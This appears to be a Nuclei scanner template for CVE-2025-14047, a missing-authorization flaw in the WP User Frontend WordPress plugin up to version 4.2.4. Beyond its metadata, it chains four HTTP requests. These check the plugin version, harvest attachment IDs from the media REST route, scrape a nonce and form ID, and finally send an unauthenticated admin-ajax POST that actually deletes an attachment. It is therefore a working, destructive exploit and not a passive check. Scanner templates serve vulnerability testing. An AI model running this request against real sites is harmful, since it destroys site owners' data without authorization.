id: CVE-2025-14047

info:
  name: User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion
  author: iamatownboy
  severity: medium
  description: |
    The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function.
    This makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.
  impact: |
    Unauthenticated attackers can delete attachment records, causing data loss for media uploaded through frontend submission forms.
  remediation: |
    Update WP User Frontend to version 4.2.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14047
    - https://wpscan.com/vulnerability/e667278f-7563-4c58-ba82-a6d50e1a7a30/
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L35
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L55
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-14047
    epss-score: 0.00616
    epss-percentile: 0.46109
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: wedevs
    product: wp-user-frontend
    framework: wordpress
    publicwww-query: "/plugins/wp-user-frontend/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,user-frontend,wpuf,authorization-bypass,unauth,ajax

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-user-frontend/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "User Frontend")
          - compare_versions(version, "<= 4.2.4")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /?rest_route=/wp/v2/media HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"type":"attachment"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: attachment_id
        part: body
        group: 1
        regex:
          - '"id":(\d+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'id="_wpnonce"\s*name="_wpnonce"\s*value="([a-f0-9]+)"'
        internal: true

      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - 'name="form_id"\s*value="(\d+)"'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - 'wpuf_submit_post'
          - '_wpnonce'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=wpuf_submit_post&form_id={{form_id}}&delete_attachments[]={{attachment_id}}&_wpnonce={{nonce}}&post_title={{rand_base(8)}}&post_content={{rand_base(8)}}&guest_name={{rand_base(6)}}&guest_email={{rand_base(8)}}@{{rand_base(4)}}.com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202482bf938bd7912251dbae9fb8a28aa74d736f8926c4766061bacfb6342ffcc9022100e6187c4719e568361404163a11919be2fedf041ddc92743d4f5e1a4252072fa3:922c64590222798bb761d5b6d8e72950